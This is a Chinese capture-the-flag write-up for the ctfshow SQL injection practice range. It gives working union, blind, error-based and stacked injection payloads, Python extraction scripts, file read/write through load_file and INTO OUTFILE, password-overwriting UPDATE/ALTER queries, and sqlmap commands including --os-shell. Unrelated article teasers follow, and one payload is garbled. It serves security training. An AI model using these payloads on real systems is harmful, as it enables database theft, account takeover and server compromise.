ctfshow靶场sql注入wp

目录

web171

web172

web173

web174

web175

web176

web177-179

web180-183

web184

web185

web187

web190

web191

web192

web193

web194

web195

web196

web197

web199

web201

web202

web203

web204

web205

web206

web207

web208

web209

web210

web211

web212

web213

web225

web245


web171

获取库名:1'union select 1,group_concat(schema_name),3 from information_schema.schemata%23

获取表名:1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23

获取字段名:1'union select 1,group_concat(password,username),3 from ctfshow_user%23

web172

这里可以使用database64加密。

1'union select 1,to_base64(password) from ctfshow_user where username="flag"%23

web173
 

使用16进制进行转换

1' union select 1,hex(password),3 from ctfshow_user3 where username='flag'%23

web174

进行写文件

1' union select 1,password from ctfshow_user4 into outfile '/var/www/html/1.txt'--+&page=1&limit

打开1.txt获取flag

web175

这里可以使用脚本跑

import requests
def get_pwd_len(url):
    head = 1
    tail = 100
    ans = 0
    while head < tail:
        mid = (head + tail ) >> 1
        payload = f"1'&&if(length((select(password)from(ctfshow_user5)where(id=26)))>{mid},sleep(2),0)#"
        # print(uname)
        param = {
            'id': payload,
            'page': '1',
            'limit': '10'
        }
        res = requests.get(url=url,params=param)
        try:
            r = requests.get(url,params=param,timeout=0.5)
            tail = mid
            ans = mid
        except Exception as e :
            head = mid +1
    print(ans)

        # passwd长度为:45
url="http://c7c6c7b5-e27e-46b5-ac09-66d7f0ede948.challenge.ctf.show/api/v5.php"
get_pwd_len(url)


def get_pwd(url):
    ans = ""
    for i in range(1, 46):
        # print(i)
        j = 46 - i
        # print(j)
        head = 32
        tail = 127
        while head <tail:
            mid = (head + tail) >> 1 #>>是位移运算符 右移一位就是除以二
            payload = f"1'&&if(ascii(substr((reverse(substr((select(password)from(ctfshow_user5)where(id=26))from({i}))))from({j})))>{mid},sleep(2),0)#"
            # print(uname)
            param = {
                'id': payload,
                'page': '1',
                'limit': '10'
            }
            try:
                res = requests.get(url=url,params=param,timeout=0.5)
                tail = mid
            except Exception as e:
                head = mid + 1

        if head != 32:
            ans += chr(head)
        else:
            break
        print(ans)
url="http://c7c6c7b5-e27e-46b5-ac09-66d7f0ede948.challenge.ctf.show/api/v5.php"
get_pwd(url)

无空格和逗号

web176

使用大小写绕过

-1'uNion seleCt 1,groUp_concAt(username,password),3 frOm ctfshow_user%23

web177-179

使用括号绕过:-1'union(select(1),(group_concat(username,password)),(3)from(ctfshow_user))%23

使用注释绕过:-1'union/**/select/**/1,group_concat(username,password),3/**/from/**/ctfshow_user%23

反引号绕过:-1'union/**/select`id`,`username`,`password`from`ctfshow_user`%23

web180-183

过滤了注释符:

-1'union%0cselect(1),(group_concat(username,password)),(3)from(ctfshow_user)where(1)and'1

web184

过滤了很多,这里使用脚本测试

使用脚本

import requests

url="http://6ca99d4f-ef75-4808-92e8-5fc1a7b9548e.challenge.ctf.show/select-waf.php"
flag="ctfshow{"

def str_to_hex(s):
    return ''.join([hex(ord(c)).replace('0x','') for c in s])
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        data={
#'tableName':"ctfshow_user a inner join ctfshow_user b on b.pass like {}".format("0x"+str_to_hex(flag+j+"%"))
            'tableName':f"ctfshow_user group by pass having pass like {'0x'+str_to_hex(flag+j+'%')}"
        }
        r=requests.post(url=url,data=data).text
        if "$user_count = 1" in r:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

这里使用了like模糊查询。

web185

数字的表示,使用脚本

import requests

url = "http://47b18d10-5722-4603-961a-2ef4d5b872d8.challenge.ctf.show/select-waf.php"

flag = 'ctfshow{'


def createNum(n):
    num = 'true'
    if n == 1:
        return 'true'
    else:
        for i in range(n - 1):
            num += "+true"
    return num


for i in range(45):
    if i <= 8:
        continue
    for j in range(127):
        data = {
            "tableName": f"ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{createNum(i)},{createNum(1)})regexp(char({createNum(j)})))"
        }
        r = requests.post(url, data=data)
        if r.text.find("$user_count = 43;") > 0:
            if chr(j) != ".":
                flag += chr(j)

                print(flag.lower())
                if chr(j) == "}":
                    exit(0)
                break

web187

loadfile盲注


import requests

url="http://17e6ad41-8c34-4fb3-aa23-f9fbfc11d012.challenge.ctf.show/api/index.php"

flag="ctfshow{"
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-{}":
        payload="if((load_file('/var/www/html/api/index.php'))regexp('{}'),0,1)".format(flag+j)
        data={
            'username':payload,
            'password':1
        }
        r=requests.post(url=url,data=data)
        if "\\u5bc6\\u7801\\u9519\\u8bef" in r.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web190

无过滤的盲注

import requests

url = "http://87a2c8d4-69ca-4617-b96c-ce3601bdc1a6.challenge.ctf.show/api/"

result = ""
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库 ctfshow_fl0g
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段 id,f1ag
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        payload = "select group_concat(f1ag) from ctfshow_fl0g"
        data = {
            'username': f"admin' and if(ascii(substr(({payload}),{i},1))>{mid},1,2)='1",
            'password': '1'
        }

        r = requests.post(url,data=data)
        if "密码错误"  == r.json()['msg']:
            head = mid + 1
        else:
            tail = mid

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web191

ord函数盲注

 Author:Y4tacker
import requests

url = "http://646c4493-3a66-407e-8ddf-c59355418a23.challenge.ctf.show/api/"

result = ""
i = 0

while True:
    i = i + 1
    head = 32
    tail = 127

    while head < tail:
        mid = (head + tail) >> 1
        # 查数据库 ctfshow_fl0g
        #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
        # 查字段 f1ag
        #payload = "select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'"
        # 查flag
        payload = "select group_concat(f1ag) from ctfshow_fl0g"
        data = {
            'username': f"admin' and if(ord(substr(({payload}),{i},1))>{mid},1,2)='1",
            'password': '1'
        }

        r = requests.post(url,data=data)
        if "密码错误"  == r.json()['msg']:
            head = mid + 1
        else:
            # print(r.text)
            tail = mid

    last = result

    if head != 32:
        result += chr(head)
    else:
        break
    print(result)

web192

过滤ord和ascll函数

import requests
import string

url = "http://2c0073f7-8662-4a12-a742-f17e1818ed0a.chall.ctf.show/api/"
flagstr=" _{}-" + string.ascii_lowercase + string.digits
flag = ''
for i in range(1,45):
    for j in flagstr:
        payload = f"admin' and if(substr((select group_concat(f1ag) from ctfshow_fl0g),{i},1)regexp('{j}'),1,2)='1"
        data = {
            'username': payload,
            'password': '1'
        }
        r = requests.post(url, data=data)
        if "密码错误" == r.json()['msg']:
            flag += j
            print(flag)
            if "}" == j:
                exit(0)
            break

web193

过滤sustr

 Author:feng
import requests

url='http://fc1e9e65-4116-4635-aebc-05e37fef775f.challenge.ctf.show/api/'
flag=""
for i in range(0,100):
    for j in "0123456789abcdefghijklmnopqrstuvwxyz-,{}_":
        #payload="' or if((select group_concat(table_name) from information_schema.tables where table_schema=database()) like '{}',1,0)-- -".format(flag+j+"%")
        #payload="' or if((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg') like '{}',1,0)-- -".format(flag+j+"%")
        payload="' or if((select group_concat(f1ag) from ctfshow_flxg) like '{}',1,0)-- -".format(flag+j+"%")

        data={
            'username':payload,
            'password':1
        }
        #print(payload)
        r=requests.post(url=url,data=data)
        #print(payload)
        if r"\u5bc6\u7801\u9519\u8bef" in r.text:
            flag+=j
            print(flag)
            if j=='}':
                exit()
            break

web194

locate()正则注入

 Author:Y4tacker
import requests
# 应该还可以用instr等函数,LOCATE、POSITION、INSTR、FIND_IN_SET、IN、LIKE
url = "http://dee436de-268a-408e-b66a-88b4c972e5f5.chall.ctf.show/api/"
final = ""
stttr = "flag{}-_1234567890qwertyuiopsdhjkzxcvbnm"
for i in range(1,45):
    for j in stttr:
        final += j
        # 查表名-ctfshow_flxg
        # payload = f"admin' and if(locate('{final}',(select table_name from information_schema.tables where table_schema=database() limit 0,1))=1,1,2)='1"
        # 查字段-f1ag
        # payload = f"admin' and if(locate('{final}',(select column_name from information_schema.columns where table_name='ctfshow_flxg' limit 1,1))=1,1,2)='1"
        payload = f"admin' and if(locate('{final}',(select f1ag from ctfshow_flxg limit 0,1))=1,1,2)='1"
        data = {
            'username': payload,
            'password': '1'
        }
        r = requests.post(url,data=data)
        if "密码错误" == r.json()['msg']:
            print(final)
        else:
            final = final[:-1]

web195

堆叠注入,这里使用16进制

前面的是admin,后面的是111,就是将所有用户的密码修改为111,之后登陆即可。

使用16进制原因:$sql = "select pass from ctfshow_user where username = {$username};";(没有字符串单引号包围)

0x61646d696e;update`ctfshow_user`set`pass`=0x313131;

web196

payload:1;select(1)

web197

利用alter改名:1;alter table `ctfshow_user` change `pass` `feng` varchar(255); alter table `ctfshow_user` change `id` `pass` varchar(255)


import requests

url = "http://5f5edc35-cd47-49e5-9252-5a3301edd9f3.challenge.ctf.show/api/"
for i in range(100):
    if i == 0:
        data = {
            'username': '0;alter table ctfshow_user change column `pass` `ppp` varchar(255);alter table ctfshow_user '
                        'change column `id` `pass` varchar(255);alter table ctfshow_user change column `ppp` `id` '
                        'varchar(255);',
            'password': f'{i}'
        }
        r = requests.post(url, data=data)
    data = {
        'username': '0x61646d696e',
        'password': f'{i}'
    }
    r = requests.post(url, data=data)
    if "登陆成功" in r.json()['msg']:
        print(r.json()['msg'])
        break


#登陆成功 flag is ctfshow{1e8cd464-117c-4863-a8ea-0e7b83d3d9fe}

web199

payload:

1;show tables

ctfshow_user

show tables;会显示表名,也就是ctfshow_user那么这个时候会将查出来的这个值当成密码,也就是密码为ctfshow_user

sqlmap注入


web201

referer绕过

//检测是否有注入点
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --batch
//探测数据库名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --dbs --batch
//看到ctfshow_web数据库,探测表名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" -D ctfshow_web --tables --batch
//获取一个表名ctfshow_user,获取列名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns --batch
//获取列名后看到三个列名,直接dump
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" -D ctfshow_web --T ctfshow_user --dump --batch

web202

data绕过:

//检测是否有注入点
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" --batch
//探测数据库名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" --dbs --batch
//看到ctfshow_web数据库,探测表名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" -D ctfshow_web --tables --batch
//获取一个表名ctfshow_user,获取列名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" -D ctfshow_web -T ctfshow_user --columns --batch
//获取列名后看到三个列名,直接dump
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" -D ctfshow_web --T ctfshow_user --dump --batch

web203

请求方式绕过(必须加index.php)

//检测是否有注入点
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" --method=PUT --herders="Content-Type: text/plain"--batch
//探测数据库名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" --method=PUT --herders="Content-Type: text/plain" --dbs --batch
//看到ctfshow_web数据库,探测表名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" --method=PUT --herders="Content-Type: text/plain" -D ctfshow_web --tables --batch
//获取一个表名ctfshow_user,获取列名
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" --method=PUT --herders="Content-Type: text/plain" -D ctfshow_web -T ctfshow_user --columns --batch
//获取列名后看到三个列名,直接dump
python sqlmap.py -u http://e03b8694-2a59-4d02-96c2-fde5f26a427d.challenge.ctf.show/api/?id= --referer="ctf.show" --data="id=1" --method=PUT --herders="Content-Type: text/plain" -D ctfshow_web --T ctfshow_user --dump --batch

web204

包含cookie

>python sqlmap.py -u http://41ecd4df-c94a-4612-af16-2b0b6c834e9e.challenge.ctf.show/api/index.php --data="id=1" --method=PUT --referer=ctf.show --headers="Content-Type: text/plain" --cookie="PHPSESSID=5gqkmm2fh7l226lf4s9q4nl444; ctfshow=885b1983b7f7963b7d736fd8b93c185f" -D ctfshow_web -T ctfshow_user --dump --batch

web205

访问安全连接

它先访问的getToken,

--safe-url 设置在测试目标地址前访问的安全链接
 --safe-freq 设置两次注入测试前访问安全链接的次数
python sqlmap.py -u http://158eb741-2a3a-4643-a9d6-94360dc171b9.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://158eb741-2a3a-4643-a9d6-94360dc171b9.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --dump --batch

web206

符号闭合

python sqlmap.py -u http://cd7e2227-9bd9-4929-9e06-ae3781d38591.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://cd7e2227-9bd9-4929-9e06-ae3781d38591.challenge.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --prefix="')" --suffix="#"-T ctfshow_flax --dump --batch

--prefix:前置闭合

--suffix:后置闭合

web207

--temper自己的脚本编写

python sqlmap.py -u http://7a02b099-af2d-45fe-9a06-562855b134c9.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://7a02b099-af2d-45fe-9a06-562855b134c9.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web207 --batch -D ctfshow_web -T ctfshow_flaxca -C flagvc --dump

web208

大小写空格前后包含

python sqlmap.py -u "http://fafc4bcc-ec09-4b48-96d1-665c8e7e967d.challenge.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://fafc4bcc-ec09-4b48-96d1-665c8e7e967d.challenge.ctf.show/api/getToken.php" --safe-freq=1 --prefix="')" --tamper="space2comment(替换空格),randomcase(替换大小写)" --batch -D ctfshow_web -T ctfshow_flaxcac -C flagvca --dump

web209

过滤了星号等号和空格

编写脚本web209

python sqlmap.py -u http://aa386482-7cfb-4336-b39a-ae4c279921a4.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://aa386482-7cfb-4336-b39a-ae4c279921a4.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper=web209 -D  ctfshow_web -T  ctfshow_flav -C ctfshow_flagx --dump

web210

对base64进行解密

python sqlmap.py -u http://1c7a89da-dee8-4374-9d72-d1cdedb9583a.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://1c7a89da-dee8-4374-9d72-d1cdedb9583a.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper=web210 -D ctfshow_web -T  ctfshow_flavi -C ctfshow_flagxx --dump

web211

绕过翻转字符/

python sqlmap.py -u http://cd0fdb00-049a-4e5a-8ce1-547261224fb3.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://cd0fdb00-049a-4e5a-8ce1-547261224fb3.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper=web210 -D ctfshow_web -T  ctfshow_flavia -C ctfshow_flagxxa --dump

web212

过滤单引号空格,继续使用210脚本

sqlmap>python sqlmap.py -u http://e44ed589-be5e-4423-8e2c-4bca30a67e6c.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://e44ed589-be5e-4423-8e2c-4bca30a67e6c.challenge.ctf.show/api/getToken.php" --safe-freq=1 --batch --tamper=web210 -D ctfshow_web -T ctfshow_flavis --dump

web213

使用os-shell一键getshell

python sqlmap.py -u http://517718e5-3471-4848-9ecf-ac4b22a4a01e.challenge.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --safe-url="http://517718e5-3471-4848-9ecf-ac4b22a4a01e.challenge.ctf.show/api/getToken.php" --safe-freq=1 --tamper=web210 --dump  --os-shell --batch

上传文件后进行命令执行操作。

web225

堆叠注入handler读取数据。

payload:

?username=1';show tables;handler ctfshow_flagasa open;handler ctfshow_flagasa read first;handler ctfshow_flagasa close;&page=1&limit=10

报错注入

web245

模板
api/?id=1' and extractvalue(1,concat(0x7e,([]),0x7e))-- #&page=1&limit=10
	
表名
api/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e))-- #&page=1&limit=10

字段名
api/?id=1' and extractvalue(1,conccmn_name) from information_schema.columns where table_name='ctfshow_flagsa'),0x7e))-- #&page=1&limit=10

数据 分开读
api/?id=1' and extractvalue(1,concat(0x7e,(select left(flag1,30) from ctfshow_flagsa),0x7e))-- #&page=1&limit=10			
api/?id=1' and extractvalue(1,concat(0x7e,(select right(flag1,30) from ctfshow_flagsa),0x7e))-- #&page=1&limit=10			

 

api/?id=1' and extractvalue(1,concat(0x7e,(select left(flag1,30) from ctfshow_flagsa),0x7e))-- #&page=1&limit=10

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/499084.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

14 Games101 - 笔记 - 光线追踪(利用包围盒技术加速光线追踪(KD-Tree and BVH)

14 光线追踪&#xff08;利用包围盒技术加速光线追踪&#xff08;KD-Tree and BVH&#xff09; 在上一节中&#xff0c;我们介绍了whited-style光线追踪的原理&#xff0c;以及实现细节。相比与光栅化中所使用的的Blinn-Phong模型&#xff0c;光线追踪显著了提升了图像质量&am…

uniapp实现的数据选择器,支持H5、微信小程序

采用uniapp-vue3实现的数据选择器&#xff0c;支持H5、微信小程序&#xff08;其他小程序未测试过&#xff0c;可自行尝试&#xff09; 支持本地自定义过滤、远程接口过滤&#xff0c;为了避免弹窗面板超出边界的情况&#xff0c;自动计算弹窗面板安置的位置&#xff08;在微信…

Java八股文(设计模式)

Java八股文の设计模式 设计模式 设计模式 什么是设计模式&#xff1f;请列举一些常见的设计模式。 设计模式是软件设计中常用的一种思维模式&#xff0c;它描述了一类具有相似特征和解决思路的问题。 常见的设计模式包括单例模式、工厂模式、观察者模式、装饰器模式等。 请解释…

博士推荐 | 拥有8年以上的材料和电池开发经验的电池材料专家

编辑 / 木子 审核 / 朝阳 伟骅英才 伟骅英才致力于以大数据、区块链、AI人工智能等前沿技术打造开放的人力资本生态&#xff0c;用科技解决职业领域问题&#xff0c;提升行业数字化服务水平&#xff0c;提供创新型的产业与人才一体化服务的人力资源解决方案和示范平台&#x…

2024 年多链代币开发对您的业务有何好处

2024 年&#xff0c;多链代币开发将成为寻求增强数字化影响力并释放区块链领域新机遇的企业的关键战略。通过利用多个区块链&#xff0c;公司可以显着提高其代币的可扩展性、互操作性和安全性。这种方法不仅提高了交易速度并降低了费用&#xff0c;还使企业能够利用更广泛的用户…

港大新工作 HiGPT:一个模型,任意关系类型 !

论文标题&#xff1a; HiGPT: Heterogeneous Graph Language Model 论文链接&#xff1a; https://arxiv.org/abs/2402.16024 代码链接&#xff1a; https://github.com/HKUDS/HiGPT 项目网站&#xff1a; https://higpt-hku.github.io/ 1. 导读 异质图在各种领域&#xf…

编译与链接(想了解编译与链接,那么看这一篇就足够了!)

前言&#xff1a;在我们练习编程的时候&#xff0c;我们只需要将代码写入、运行&#xff0c;就可以得到计算之后的结果了&#xff0c;但是你有没有想过&#xff0c;为什么就可以得到计算之后的结果呢&#xff0c;它的底层又到底是什么呢&#xff1f; ✨✨✨这里是秋刀鱼不做梦的…

气象预测新篇章:Python人工智能的变革力量

Python是功能强大、免费、开源&#xff0c;实现面向对象的编程语言&#xff0c;在数据处理、科学计算、数学建模、数据挖掘和数据可视化方面具备优异的性能&#xff0c;这些优势使得Python在气象、海洋、地理、气候、水文和生态等地学领域的科研和工程项目中得到广泛应用。可以…

数据结构与算法分析2栈、队列

1.栈和队列本质上都是表&#xff0c;所以他们都有两种实现方式&#xff0c;链表实现和数列实现。栈的特点是后进先出。 2.栈的实现 3.应用有&#xff1a; 4.栈的危险操作&#xff1a;用尽栈空间&#xff0c;导致内容占用到别的寄存器里面去了&#xff0c;从而出现异常。还有尾…

武汉星起航:借亚马逊平台优势助力商家精准营销

在全球经济一体化的背景下&#xff0c;跨境电商已成为推动国际贸易发展的重要引擎。作为跨境电商领域的佼佼者&#xff0c;亚马逊平台以其全球化销售渠道和强大的数据分析能力&#xff0c;为商家提供了前所未有的商机。武汉星起航电子商务有限公司深知亚马逊平台的优势&#xf…

企业为什么要用MES管理系统来升级改造生产车间

随着信息技术的迅猛发展&#xff0c;工业制造领域正经历着深刻的变革。在这个大背景下&#xff0c;MES管理系统的引入和应用&#xff0c;已成为企业升级改造生产车间、提升竞争力的关键手段。本文将从多个维度探讨企业为何要用MES管理系统来升级改造生产车间。 MES管理系统能够…

查询优化-提升子查询-UNION类型

瀚高数据库 目录 文档用途 详细信息 文档用途 剖析UNION类型子查询提升的条件和过程 详细信息 注&#xff1a;图片较大&#xff0c;可在浏览器新标签页打开。 SQL: SELECT * FROM score sc, LATERAL(SELECT * FROM student WHERE sno 1 UNION ALL SELECT * FROM student…

云计算——大模型应用发展的“理想支点”

在数字化浪潮中&#xff0c;人工智能技术的突飞猛进为千行百业带来了前所未有的转型机遇。近期出现的Sora模型能够根据文本描述生成高质量的视频内容&#xff0c;为多领域带来大模型技术飞跃的冲击。如何推进大模型应用&#xff0c;已成为各行业面临的重要课题之一。 打造硬核…

亚信安慧AntDB数据库分布式架构剖析之snapshot sender进程

本文主要介绍亚信安慧AntDB数据库的分布式架构下的特有进程之snapshot sender进程的设计&#xff0c;与snapshot receiver进程是一对&#xff0c;也是分布式架构的核心进程之一。 进程简介 与Snapshot Receiver进程相对应&#xff0c;该进程的作用从整体上看也只包含两个方面&a…

Shopee 4月市场趋势及选品分析,shopee虾皮品类爆款预测

废话不多说&#xff0c;马上进入本周Shopee“现象爆品”、“热门爆品趋势”及“热搜词周榜"版块&#xff0c;帮助商家及时了解Shopee最新市场现状&#xff0c;掌握选品趋势。 1 现象爆品 近几来&#xff0c;为健康“买单”&#xff0c;已经成为全年龄层群体的“刚需”。 图…

第P1周:实现mnist手写数字识别

>- **&#x1f368; 本文为[&#x1f517;365天深度学习训练营](https://mp.weixin.qq.com/s/0dvHCaOoFnW8SCp3JpzKxg) 中的学习记录博客** >- **&#x1f356; 原作者&#xff1a;[K同学啊 | 接辅导、项目定制](https://mtyjkh.blog.csdn.net/)** 目录 一、前言 二、我…

青年才俊的聚集地 带你一览DATE 2024会议现场

会议之眼 快讯 第27届欧洲设计、自动化和测试会议&#xff08;Design, Automation and Test in Europe Conference &#xff09;已于2024 年 3 月 25 日-27日在西班牙瓦伦西亚圆满举办&#xff01;DATE第一届会议是在 1998 年在法国巴黎召开的。从那时起&#xff0c;DATE 会议…

ICLR 2024 | FeatUp: A Model-Agnostic Framework for Features at Any Resolution

论文&#xff1a;https://arxiv.org/abs/2403.10516代码&#xff1a;https://github.com/mhamilton723/FeatUp 背景动机 深层特征是计算机视觉研究的基石&#xff0c;捕获图像语义并使社区即使在零或少样本情况下也能解决下游任务。然而&#xff0c;这些特征通常缺乏空间分辨率…

俄罗斯深陷芯片自主困境,良率仅5成 |百能云芯

俄罗斯的芯片产业一直以来都面临着诸多挑战&#xff0c;尤其是在当前的国际形势下&#xff0c;这些挑战更加凸显。随着俄乌冲突的爆发&#xff0c;西方国家对俄罗斯实施了一系列经济制裁&#xff0c;导致俄罗斯科技产业受到了严重影响。据了解&#xff0c;俄国最大的本土芯片厂…

vue3使用vuedraggable实现拖拽(有过渡)

1. 安装与使用 vue中vuedraggable安装&#xff1a; pnpm i -S vuedraggablenext或者 yarn add vuedraggablenext注意&#xff1a;vue2和vue3安装的是不同版本的vuedraggable&#xff0c;写法上也会有一些区别。 比如在vue3中使用拖拽&#xff0c;要以插槽的方式&#xff0c;…